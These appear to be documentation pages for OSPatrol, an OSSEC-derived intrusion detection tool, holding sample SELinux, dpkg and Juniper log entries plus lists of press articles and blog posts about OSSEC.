Feb 20 16:57:46 localhost kernel: [17180272.948000] audit(1172015866.761:32): avc:  denied  { ioctl } for  pid=10911 comm="dselect" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:47 localhost kernel: [17180273.536000] audit(1172015867.349:33): avc:  denied  { search } for  pid=12167 comm="install" name="/" dev=devpts ino=1 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=dir
Feb 20 16:57:47 localhost kernel: [17180273.560000] audit(1172015867.373:34): avc:  denied  { setattr } for  pid=12169 comm="apt-get" name="pkgcache.bin" dev=sda6 ino=895850 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:48 localhost kernel: [17180274.768000] audit(1172015868.581:35): avc:  denied  { read } for  pid=6142 comm="psadwatchd" name="psad.pid" dev=tmpfs ino=15493 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=file
Feb 20 16:57:48 localhost kernel: [17180274.768000] audit(1172015868.581:36): avc:  denied  { getattr } for  pid=6142 comm="psadwatchd" name="psad.pid" dev=tmpfs ino=15493 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=file
Feb 20 16:57:47 localhost kernel: [17180273.536000] audit(1172015867.349:33): avc:  denied  { search } for  pid=12167 comm="install" name="/" dev=devpts ino=1 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=dir
Feb 20 16:57:47 localhost kernel: [17180273.560000] audit(1172015867.373:34): avc:  denied  { setattr } for  pid=12169 comm="apt-get" name="pkgcache.bin" dev=sda6 ino=895850 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:48 localhost kernel: [17180274.768000] audit(1172015868.581:35): avc:  denied  { read } for  pid=6142 comm="psadwatchd" name="psad.pid" dev=tmpfs ino=15493 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=file
Feb 20 16:57:48 localhost kernel: [17180274.768000] audit(1172015868.581:36): avc:  denied  { getattr } for  pid=6142 comm="psadwatchd" name="psad.pid" dev=tmpfs ino=15493 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=file
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  dpkg [http://en.wikipedia.org/wiki/Dpkg] is the software at the base of the Debian package management system. dpkg is used to install, remove, and provide information about .deb packages.


2008-04-01 14:39:49 install screen <none> 4.0.3-0.3
2008-04-01 14:39:49 status half-installed screen 4.0.3-0.3
2008-04-01 14:39:51 status unpacked screen 4.0.3-0.3
2008-04-01 14:39:51 status unpacked screen 4.0.3-0.3
2008-04-01 14:39:51 status unpacked screen 4.0.3-0.3
2008-04-01 14:39:51 status unpacked screen 4.0.3-0.3
2008-04-01 14:39:51 status unpacked screen 4.0.3-0.3
2008-04-01 14:39:51 status half-configured screen 4.0.3-0.3
2008-04-01 14:39:54 status installed screen 4.0.3-0.3
2008-04-01 16:10:43 status installed nmap 4.11-1
2008-04-01 16:10:43 remove nmap 4.11-1 4.11-1
2008-04-01 16:10:43 status half-configured nmap 4.11-1
2008-04-01 16:10:43 status half-installed nmap 4.11-1
2008-04-01 16:10:43 status config-files nmap 4.11-1
2008-04-01 16:10:43 status config-files nmap 4.11-1
2008-04-01 16:10:43 status config-files nmap 4.11-1
2008-04-01 16:10:43 status not-installed nmap <none>
2008-04-01 16:10:56 install nmap <none> 4.11-1
2008-04-01 16:10:56 status half-installed nmap 4.11-1
2008-04-01 16:10:56 status unpacked nmap 4.11-1
2008-04-01 16:10:56 status unpacked nmap 4.11-1
2008-04-01 16:10:56 status unpacked nmap 4.11-1
2008-04-01 16:10:56 status half-configured nmap 4.11-1
2008-04-01 16:10:56 status installed nmap 4.11-1
2008-04-02 11:25:17 install mysql-common <none> 5.0.32-7etch5
2008-04-02 11:25:17 status half-installed mysql-common 5.0.32-7etch5
2008-04-02 11:25:17 status unpacked mysql-common 5.0.32-7etch5
2008-04-02 11:25:17 status unpacked mysql-common 5.0.32-7etch5
2008-04-02 11:25:17 install libnet-daemon-perl <none> 0.38-1.1
2008-04-02 11:25:17 status half-installed libnet-daemon-perl 0.38-1.1
2008-04-02 11:25:17 status unpacked libnet-daemon-perl 0.38-1.1
2008-04-02 11:25:17 status unpacked libnet-daemon-perl 0.38-1.1
2008-04-02 11:25:18 install libplrpc-perl <none> 0.2017-1.1
2008-04-02 11:25:18 status half-installed libplrpc-perl 0.2017-1.1
2008-04-02 11:25:18 status unpacked libplrpc-perl 0.2017-1.1
2008-04-02 11:25:18 status unpacked libplrpc-perl 0.2017-1.1
2008-04-02 11:25:18 install libdbi-perl <none> 1.53-1etch1
2008-04-02 11:25:18 status half-installed libdbi-perl 1.53-1etch1
2008-04-02 11:25:18 status unpacked libdbi-perl 1.53-1etch1
2008-04-02 11:25:18 status unpacked libdbi-perl 1.53-1etch1
2008-04-02 11:25:19 install libmysqlclient15off <none> 5.0.32-7etch5
2008-04-02 11:25:19 status half-installed libmysqlclient15off 5.0.32-7etch5
2008-04-02 11:25:19 status unpacked libmysqlclient15off 5.0.32-7etch5
2008-04-02 11:25:19 status unpacked libmysqlclient15off 5.0.32-7etch5
2008-04-02 11:25:19 install libdbd-mysql-perl <none> 3.0008-1
2008-04-02 11:25:19 status half-installed libdbd-mysql-perl 3.0008-1
2008-04-02 11:25:19 status unpacked libdbd-mysql-perl 3.0008-1
2008-04-02 11:25:19 status unpacked libdbd-mysql-perl 3.0008-1
2008-04-02 11:25:19 install mysql-client-5.0 <none> 5.0.32-7etch5
2008-04-02 11:25:19 status half-installed mysql-client-5.0 5.0.32-7etch5
2008-04-02 11:25:21 status unpacked mysql-client-5.0 5.0.32-7etch5
2008-04-02 11:25:21 status unpacked mysql-client-5.0 5.0.32-7etch5
2008-04-02 11:25:21 status unpacked mysql-common 5.0.32-7etch5
2008-04-02 11:25:21 status unpacked mysql-common 5.0.32-7etch5
2008-04-02 11:25:21 status half-configured mysql-common 5.0.32-7etch5
2008-04-02 11:25:21 status installed mysql-common 5.0.32-7etch5
2008-04-02 11:25:22 install mysql-server-5.0 <none> 5.0.32-7etch5
2008-04-02 11:25:22 status half-installed mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:35 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:36 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:36 install mysql-server <none> 5.0.32-7etch5
2008-04-02 11:25:36 status half-installed mysql-server 5.0.32-7etch5
2008-04-02 11:25:36 status unpacked mysql-server 5.0.32-7etch5
2008-04-02 11:25:36 status unpacked mysql-server 5.0.32-7etch5
2008-04-02 11:25:36 install php5-mysql <none> 5.2.0-8+etch10
2008-04-02 11:25:36 status half-installed php5-mysql 5.2.0-8+etch10
2008-04-02 11:25:36 status unpacked php5-mysql 5.2.0-8+etch10
2008-04-02 11:25:36 status unpacked php5-mysql 5.2.0-8+etch10
2008-04-02 11:25:36 install phpmyadmin <none> 4:2.9.1.1-6
2008-04-02 11:25:36 status half-installed phpmyadmin 4:2.9.1.1-6
2008-04-02 11:25:41 status unpacked phpmyadmin 4:2.9.1.1-6
2008-04-02 11:25:41 status unpacked phpmyadmin 4:2.9.1.1-6
2008-04-02 11:25:41 status unpacked libnet-daemon-perl 0.38-1.1
2008-04-02 11:25:41 status half-configured libnet-daemon-perl 0.38-1.1
2008-04-02 11:25:41 status installed libnet-daemon-perl 0.38-1.1
2008-04-02 11:25:41 status unpacked libplrpc-perl 0.2017-1.1
2008-04-02 11:25:41 status half-configured libplrpc-perl 0.2017-1.1
2008-04-02 11:25:41 status installed libplrpc-perl 0.2017-1.1
2008-04-02 11:25:41 status unpacked libdbi-perl 1.53-1etch1
2008-04-02 11:25:41 status half-configured libdbi-perl 1.53-1etch1
2008-04-02 11:25:41 status installed libdbi-perl 1.53-1etch1
2008-04-02 11:25:41 status unpacked libmysqlclient15off 5.0.32-7etch5
2008-04-02 11:25:41 status half-configured libmysqlclient15off 5.0.32-7etch5
2008-04-02 11:25:42 status installed libmysqlclient15off 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked libdbd-mysql-perl 3.0008-1
2008-04-02 11:25:42 status half-configured libdbd-mysql-perl 3.0008-1
2008-04-02 11:25:42 status installed libdbd-mysql-perl 3.0008-1
2008-04-02 11:25:42 status unpacked mysql-client-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status half-configured mysql-client-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status installed mysql-client-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status unpacked mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:42 status half-configured mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:59 status installed mysql-server-5.0 5.0.32-7etch5
2008-04-02 11:25:59 status unpacked mysql-server 5.0.32-7etch5
2008-04-02 11:25:59 status half-configured mysql-server 5.0.32-7etch5
2008-04-02 11:26:00 status installed mysql-server 5.0.32-7etch5
2008-04-02 11:26:00 status unpacked php5-mysql 5.2.0-8+etch10
2008-04-02 11:26:00 status unpacked php5-mysql 5.2.0-8+etch10
2008-04-02 11:26:00 status unpacked php5-mysql 5.2.0-8+etch10
2008-04-02 11:26:00 status unpacked php5-mysql 5.2.0-8+etch10
2008-04-02 11:26:00 status half-configured php5-mysql 5.2.0-8+etch10
2008-04-02 11:26:00 status installed php5-mysql 5.2.0-8+etch10
2008-04-02 11:26:00 status unpacked phpmyadmin 4:2.9.1.1-6
2008-04-02 11:26:00 status half-configured phpmyadmin 4:2.9.1.1-6
2008-04-02 11:26:15 status installed phpmyadmin 4:2.9.1.1-6
2008-04-02 13:45:39 install zlib1g-dev <none> 1:1.2.3-13
2008-04-02 13:45:39 status half-installed zlib1g-dev 1:1.2.3-13
2008-04-02 13:45:39 status unpacked zlib1g-dev 1:1.2.3-13
2008-04-02 13:45:40 status unpacked zlib1g-dev 1:1.2.3-13
2008-04-02 13:45:40 install libmysqlclient15-dev <none> 5.0.32-7etch5
2008-04-02 13:45:40 status half-installed libmysqlclient15-dev 5.0.32-7etch5
2008-04-02 13:45:41 status unpacked libmysqlclient15-dev 5.0.32-7etch5
2008-04-02 13:45:41 status unpacked libmysqlclient15-dev 5.0.32-7etch5
2008-04-02 13:45:42 status unpacked zlib1g-dev 1:1.2.3-13
2008-04-02 13:45:42 status half-configured zlib1g-dev 1:1.2.3-13
2008-04-02 13:45:42 status installed zlib1g-dev 1:1.2.3-13
2008-04-02 13:45:42 status unpacked libmysqlclient15-dev 5.0.32-7etch5
2008-04-02 13:45:42 status half-configured libmysqlclient15-dev 5.0.32-7etch5
2008-04-02 13:45:42 status installed libmysqlclient15-dev 5.0.32-7etch5
2008-04-03 14:03:54 install proftpd <none> 1.3.0-19
2008-04-03 14:03:54 status half-installed proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status unpacked proftpd 1.3.0-19
2008-04-03 14:03:55 status half-configured proftpd 1.3.0-19
2008-04-03 14:04:01 status installed proftpd 1.3.0-19
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:27 status installed sysklogd 1.4.1-18
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:27 status installed sysklogd 1.4.1-18
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:27 status installed sysklogd 1.4.1-18
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:27 status installed sysklogd 1.4.1-18
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:27 status installed sysklogd 1.4.1-18
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:27 status installed sysklogd 1.4.1-18
2008-04-03 14:47:27 status installed klogd 1.4.1-18
2008-04-03 14:47:28 remove klogd 1.4.1-18 1.4.1-18
2008-04-03 14:47:28 status half-configured klogd 1.4.1-18
2008-04-03 14:47:28 status half-installed klogd 1.4.1-18
2008-04-03 14:47:28 status config-files klogd 1.4.1-18
2008-04-03 14:47:28 status config-files klogd 1.4.1-18
2008-04-03 14:47:28 status installed sysklogd 1.4.1-18
2008-04-03 14:47:28 remove sysklogd 1.4.1-18 1.4.1-18
2008-04-03 14:47:28 status half-configured sysklogd 1.4.1-18
2008-04-03 14:47:29 status half-installed sysklogd 1.4.1-18
2008-04-03 14:47:29 status config-files sysklogd 1.4.1-18
2008-04-03 14:47:29 status config-files sysklogd 1.4.1-18
2008-04-03 14:47:29 install syslog-ng <none> 2.0.0-1etch1
2008-04-03 14:47:29 status half-installed syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status unpacked syslog-ng 2.0.0-1etch1
2008-04-03 14:47:30 status half-configured syslog-ng 2.0.0-1etch1
2008-04-03 14:47:31 status installed syslog-ng 2.0.0-1etch1
2008-04-03 14:48:36 status config-files sysklogd 1.4.1-18
2008-04-03 14:48:36 remove sysklogd 1.4.1-18 1.4.1-18
2008-04-03 14:48:36 purge sysklogd 1.4.1-18 1.4.1-18
2008-04-03 14:48:36 status config-files sysklogd 1.4.1-18
2008-04-03 14:48:36 status config-files sysklogd 1.4.1-18
2008-04-03 14:48:36 status config-files sysklogd 1.4.1-18
2008-04-03 14:48:36 status config-files sysklogd 1.4.1-18
2008-04-03 14:48:36 status config-files sysklogd 1.4.1-18
2008-04-03 14:48:36 status not-installed sysklogd <none>
2008-04-03 14:50:03 status installed syslog-ng 2.0.0-1etch1
2008-04-03 14:50:04 remove syslog-ng 2.0.0-1etch1 2.0.0-1etch1
2008-04-03 14:50:04 status half-configured syslog-ng 2.0.0-1etch1
2008-04-03 14:50:04 status half-installed syslog-ng 2.0.0-1etch1
2008-04-03 14:50:04 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:04 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:10 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:10 remove syslog-ng 2.0.0-1etch1 2.0.0-1etch1
2008-04-03 14:50:10 purge syslog-ng 2.0.0-1etch1 2.0.0-1etch1
2008-04-03 14:50:10 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:10 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:10 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:10 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:10 status config-files syslog-ng 2.0.0-1etch1
2008-04-03 14:50:11 status not-installed syslog-ng <none>
2008-04-03 14:50:22 install sysklogd <none> 1.4.1-18
2008-04-03 14:50:22 status half-installed sysklogd 1.4.1-18
2008-04-03 14:50:22 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:22 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:22 install klogd 1.4.1-18 1.4.1-18
2008-04-03 14:50:22 status half-installed klogd 1.4.1-18
2008-04-03 14:50:22 status unpacked klogd 1.4.1-18
2008-04-03 14:50:22 status unpacked klogd 1.4.1-18
2008-04-03 14:50:23 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:23 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:23 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:23 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:23 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:23 status unpacked sysklogd 1.4.1-18
2008-04-03 14:50:23 status half-configured sysklogd 1.4.1-18
2008-04-03 14:50:24 status installed sysklogd 1.4.1-18
2008-04-03 14:50:24 status unpacked klogd 1.4.1-18
2008-04-03 14:50:24 status unpacked klogd 1.4.1-18
2008-04-03 14:50:24 status unpacked klogd 1.4.1-18
2008-04-03 14:50:24 status half-configured klogd 1.4.1-18
2008-04-03 14:50:24 status installed klogd 1.4.1-18
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Juniper Logs




		Log Samples for the Juniper SA
		Login sucessful:


		Login failed:








		Log Samples from the Netscreen Firewall
		Traffic denied:


		Alert messages:


		Critical messages:


		Admin login:

















          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

log_samples/juniper/juniper_sa.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
Log Samples for the Juniper SA



Login sucessful:


07Dev2005 02:13:19 1.2.3.4 Juniper: 2005-12-07 02:13:19 - mike - [192.168.25.35] grp1(Users)[Users] - Login succeeded for mike/Users from 192.168.25.35.









Login failed:


07Dev2005 02:13:19 1.2.3.4 Juniper: 2005-12-07 02:13:19 - mike - [192.168.25.35] grp1(Users)[Users] - Login failed using auth server System Local (IVE Authentication).  Reason: Failed
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smeserver Log Samples


smeserver is a linux distro based on centos that is designed to be a easy to use all in one small business server and gateway.  [http://www.smeserver.org] is the official site.  The community site with the support forums, bug trackers etc. and manuals is at contribs.org [http://www.contribs.org].


Many of the logs used by smeserver appear to use multilog from dbj [http://cr.yp.to/daemontools/multilog.html].  Below are some samples of the various logs generated by the default gateway server:
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Press



OSSEC is #27 on the SecTools.Org: Top 125 Network Security Tools


As of November 18 2011 OSSEC is ranked 27th on SecTools.Org’s Top 125 list.



“OSSEC HIDS performs log analysis, integrity checking, rootkit detection, time-based alerting and active response. In addition to its IDS functionality, it is commonly used as a SEM/SIM solution. Because of its powerful log analysis engine, ISPs, universities and data centers are running OSSEC HIDS to monitor and analyze their firewalls, IDSs, web servers and authentication logs.”


OSSEC on sectools.org [http://sectools.org/tool/ossec/]
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		Vulnerability Management: OSSEC & Secunia PSI [http://blog.rootshell.be/2011/11/28/vulnerability-management-ossec-secunia-psi/] by Xavier Mertens


		“Vulnerability Management”... This is an important topic for your corporate security. One of the steps in this process is the monitoring of your applications and operating systems. With hundreds (thousands?) of devices connected to your network, how to keep an eye on the applications and patches installed on all of them? There exists plenty of vulnerability management tools which allow you to track/install patches from a central place. But again, most small organizations don.t have the resources or budget to deploy this kind software and users have to keep your laptops/workstations up-to-date. This article will show you how to implement a basic control of your pool of Windows workstations based on Secunia PSI and OSSEC.
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		02, Aug, 2006 - SANS      - Log analysis using OSSEC and Logging in Depth [https://www.sans.org/webcasts/show.php?webcastid=90611]


		29, Jul, 2006 - Intelguardians.com - Sansfire Keynote: Network Early Warning Systems by: Mike Poor [http://www.intelguardians.com/mikepoorkeynote.pdf]


		26, Jul, 2006 - Snort.org - Version 0.9 of OSSEC HIDS is now available [http://www.snort.org/pub-bin/search2.cgi?q=ossec]


		25, Jul, 2006 - Linuxsecurity.com - ` OSSEC HIDS v0.9 Available <http://www.linuxsecurity.com/content/view/123723/65/>`_


		21, Jun, 2006 - sectools.org - OSSEC voted #2 IDS tool [http://sectools.org/ids.html]


		23, May, 2006 - Linuxsecurity.com - ` Log analysis for Intrusion detection document <http://www.linuxsecurity.com/content/view/122853/65/>`_


		01, Dec, 2005 - techtarget.com - Is there free code available for intrusion detection systems? [http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci1150852,00.html]
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Posts about OSSEC


The following posts are about OSSEC from which OSPatrol is forked.



		2011-28-11:


		
		Vulnerability Management: OSSEC & Secunia PSI [http://blog.rootshell.be/2011/11/28/vulnerability-management-ossec-secunia-psi/] by Xavier Mertens


		“Vulnerability Management”... This is an important topic for your corporate security. One of the steps in this process is the monitoring of your applications and operating systems. With hundreds (thousands?) of devices connected to your network, how to keep an eye on the applications and patches installed on all of them? There exists plenty of vulnerability management tools which allow you to track/install patches from a central place. But again, most small organizations don.t have the resources or budget to deploy this kind software and users have to keep your laptops/workstations up-to-date. This article will show you how to implement a basic control of your pool of Windows workstations based on Secunia PSI and OSSEC.












Archive:



		02 Nov, 2009 - praetorianprefect - OSSEC: Agentless to save the day [http://praetorianprefect.com/archives/2009/11/ossec-agentless-to-save-the-day/]


		31 Oct, 2009 - Immutable security - Week of OSSEC [http://www.ossec.net/main/week-of-ossec]


		30 Sep, 2009 - holisticinfosec - Using OSSEC to monitor ModSecurity and Wordpress [http://holisticinfosec.blogspot.com/2009/09/using-ossec-to-monitor-modsecurity-and.html]


		23 Sep, 2009 - g1.globo - Pacot?o de seguran?a [http://g1.globo.com/Noticias/Tecnologia/0,,MUL1313894-6174,00.html]


		15 Sep, 2009 - br-linux - Instalando o OSSEC HIDS [http://br-linux.org/2009/instalando-o-ossec-hids/]


		09 Sep, 2009 - isc.sans - OSSEC version 2.2 available [http://isc.sans.org/diary.html?storyid=7117]


		08 Sep, 2009 - security db - OSSEC version 2.2 released [http://www.security-database.com/toolswatch/OSSEC-v2-2-released.html]


		22 Aug, 2009 - net-security - Q&A: OSSEC, the open source host-based intrusion detection system [http://www.net-security.org/article.php?id=1284]


		10 Aug, 2009 - hackertarget - OSSEC Introduction and Installation Guide [http://hackertarget.com/2009/08/ossec-introduction-and-installation-guide/]


		30 Jun, 2009 - net-security - OSSEC version 2.1 released [http://www.net-security.org/secworld.php?id=7708]


		22 Jun, 2009 - bostewart - OSSEC - New File alerts [http://www.bostewart.net/archives/28]


		19 Jun, 2009 - developing security - I Heart OSSEC [http://www.developingsecurity.com/weblog/2009/06/i-heart-ossec.html]


		16 Jun, 2009 - security kitchen - OSSEC in a nutshell [http://blog.remes-it.be/?p=231]


		06 Jun, 2009 - sucuri security - OSSEC log test online [http://sucuri.net/?page=tools&title=ossec]


		06 Jun, 2009 - sucuri security - OSSEC rule creator online [http://sucuri.net/?page=tools&title=ossecrules]


		10 Apr, 2009 - security horizon - The Changing Landscape of OSSEC-HIDS [http://www.securityhorizon.com/journal/TSJ-2009-02-spring.pdf]


		09 Mar, 2009 - labrat - Free HIDS [http://www.labrat.com/comment.php?comment.news.254]


		04 Mar, 2009 - br-linux - OSSEC versao 2.0 disponivel [http://br-linux.org/2009/ossec-versao-20-disponivel/tgm]


		03 Mar, 2009 - net-security - New version of OSSEC host based IDS [http://www.net-security.org/secworld.php?id=7111]


		01 Mar, 2009 - cert-africa - OSSEC Version 2 available! [http://cert-africa.org/node/19]


		28 Feb, 2009 - isc.sans - OSSEC Version 2 available! [http://isc.sans.org/diary.html?storyid=5950]


		16 Feb, 2009 - splunkbase - Splunk for OSSEC [http://www.splunkbase.com/apps/All/Security/Network_Security/app:Splunk+for+OSSEC#]


		05 Feb, 2009 - gscore - Picviz and OSSEC wedding [http://www.gscore.org/blog/index.php/post/2009/02/05/Picviz-and-OSSEC-wedding]


		03 Feb, 2009 - builderau - Get started with the security tool OSSEC [http://www.builderau.com.au/program/linux/soa/Get-started-with-the-security-tool-OSSEC/0,339028299,339294843,00.htm]


		02 Feb, 2009 - nsmjunkie - OSSEC and Splunk [http://nsmjunkie.blogspot.com/2009/02/ossec-and-splunk.html]


		02 Feb, 2009 - techrepublic - Get started with OSSEC [http://blogs.techrepublic.com.com/opensource/?p=342&tag=nl.e102]


		26 Jan, 2009 - esecurity - 26 Open Source Security Apps with Commercial Support [http://www.esecurityplanet.com/features/article.php/3798416/26-Open-Source-Security-Apps-with-Commercial-Support.htm]


		31 Dec, 2008 - taosecurity - Best Book Bejtlich Read in 2008 [http://taosecurity.blogspot.com/2008/12/best-book-bejtlich-read-in-2008.html]


		25 Dec, 2008 - taosecurity - OSSEC and Pf on FreeBSD to Limit SSH Brute Forcing [http://taosecurity.blogspot.com/2008/12/ossec-and-pf-on-freebsd-to-limit-ssh.html]


		02 Dec, 2008 - esecurity - 40 Open Source Tools for Protecting Your Privacy [http://www.esecurityplanet.com/features/article.php/51671_3788181_3/article.htm]


		26 Nov, 2008 - ufl.edu - OSSEC-HIDS: All that and a box of chocolate. [http://nersp.cns.ufl.edu/~oitnews/2008_12/lightningtalknov2008.shtml]


		13 Nov, 2008 - isc.sans - Some recently updated tools [http://isc.sans.org/diary.html?storyid=5339]


		29 Oct, 2008 - amazon book review - The Guide to Doing More with Less [http://www.amazon.com/review/R32029DCBX9A4G/ref=cm_cr_rdp_perm]


		26 Oct, 2008 - taosecurity - Review of OSSEC HIDS Guide Posted [http://taosecurity.blogspot.com/2008/10/review-of-ossec-hids-guide-posted.html]


		26 Oct, 2008 - amazon.com - Excellent book on a very powerful open source tool [http://www.amazon.com/review/R2U2LG4R1D5DUA/ref=cm_cr_old_cmt_rd]


		10 Oct, 2008 - stateofsec - HPSS and OSSEC [http://stateofsecurity.com/?p=478]


		10 Sep, 2008 - isc.sans - OSSEC 1.6 released [http://isc.sans.org/diary.html?storyid=5017]


		05 Sep, 2008 - securecentos - Installing OSSEC [http://www.securecentos.com/installing-ossec.html]


		03 Sep, 2008 - br-linux.org - Continuou livre: OSSEC vers?o 1.6 dispon?vel [http://br-linux.org/2008/continuou-livre-ossec-versao-16-disponivel/]


		03 Sep, 2008 - linux.com - OSSEC HIDS 1.6 Released [http://www.linux.com/feed/146755]


		02 Sep, 2008 - snort.org - OSSEC HIDS 1.6 Released [http://www.snort.org/pub-bin/snortnews.cgi#804]


		02 Sep, 2008 - prweb.com - OSSEC Releases Most Comprehensive Product Update Ever [http://www.prweb.com/releases/2008/9/prweb1274054.htm]


		02 Sep, 2008 - thirdbrigade.com - OSSEC Releases Most Comprehensive Product Update Ever [http://www.thirdbrigade.com/news_events.aspx?id=803]


		02 Sep, 2008 - under-linux.org - Lancado OSSEC v1.6 [http://under-linux.org/8826-lancado-ossec-v16.html]


		02 Sep, 2008 - ossec.net - OSSEC v1.6 released [http://www.ossec.net/main/ossec-v16-released]


		26 Aug, 2008 - kimerik.blogspot - Finally, a decent HIDS for Win32! [http://kimerik.blogspot.com/2008/08/finally-decent-hids-for-win32.html]


		25 Aug, 2008 - brlinux.org - Lista de discuss?o sobre OSSEC HIDS em portugu?s [http://br-linux.org/2008/lista-de-discussao-sobre-ossec-hids-em-portugues/]


		14 Aug, 2008 - techtarget.com - Surveillance tools beat hidden malware at its own game [http://itknowledgeexchange.techtarget.com/enterprise-linux/surveillance-tools-beat-hidden-malware-at-its-own-game/]


		17 Jul, 2008 - isc.SANS - Updates to some of our favorite tools [http://isc.sans.org/diary.html?storyid=4714]


		20 Jun, 2008 - The Register - Third Brigade annexes open source intrusion detection tech [http://www.theregister.co.uk/2008/06/20/open_source_security/]


		19 Jun, 2008 - Baguete - Canadense compra software carioca [http://www.baguete.com.br/noticiasDetalhes.php?id=25810]


		18 Jun, 2008 - BR-Linux - OSSEC HIDS: projeto brasileiro adquirido por empresa canadense [http://br-linux.org/2008/ossec-hids-projeto-brasileiro-adquirido-por-empresa-canadense/]


		16 Jun, 2008 - Ottawa Business - Third Brigade buys open-source rival [http://www.ottawabusinessjournal.com/291938134134240.php]


		16 Jun, 2008 - emediawire - Third Brigade Acquires OSSEC Open Source Host Intrusion Detection Project [http://www.emediawire.com/releases/2008/6/prweb1024104.htm]


		09 Jun, 2008 - ilsoftware.it - OSSEC: un evoluto sistema di intrusion detection [http://www.ilsoftware.it/articoli.asp?ID=4423&pag=1]


		05 May, 2008 - isc.SANS - OSSEC 1.5 released [http://isc.sans.org/diary.html?storyid=4397]


		02 May, 2008 -  sipvicious.org - ` OSSEC v1.5 now has builtin Asterisk rules <http://sipvicious.org/blog/2008/05/ossec-v15-now-has-builtin-asterisk.html>`_


		26 Mar, 2008 - theacademy.ca - OSSEC sponsors The Academy [http://www.theacademy.ca/index.php?option=com_content&task=blogsection&id=58&Itemid=135]


		26 Mar, 2008 - theacademy.ca - Chance to win an autographed copy of OSSEC book [http://www.theacademy.ca/index.php?option=com_content&task=view&id=31&Itemid=135]


		25 Mar, 2008 - itadmins - I.ve finally found a decent IDS [http://itadmins.org/?p=58]


		15 Mar, 2008 - sipvicious.org - ` Using OSSEC to detect attacks on an Asterisk box <http://sipvicious.org/blog/2008/03/using-ossec-to-detect-attacks-on.html>`_


		11 Mar, 2008 - Linux.com - Good malware hunting for Linux [http://www.linux.com/feature/128450]


		20 Feb, 2008 - Spooker Labs - HIDS Book - Released [http://spookerlabs.multiply.com/journal/item/180/OSSEC_HIDS_Book_-_ReleasedOSSEC]


		20 Feb, 2008 - AndrewHay.ca - OSSEC Book Finally Has a Cover [http://www.andrewhay.ca/archives/241]


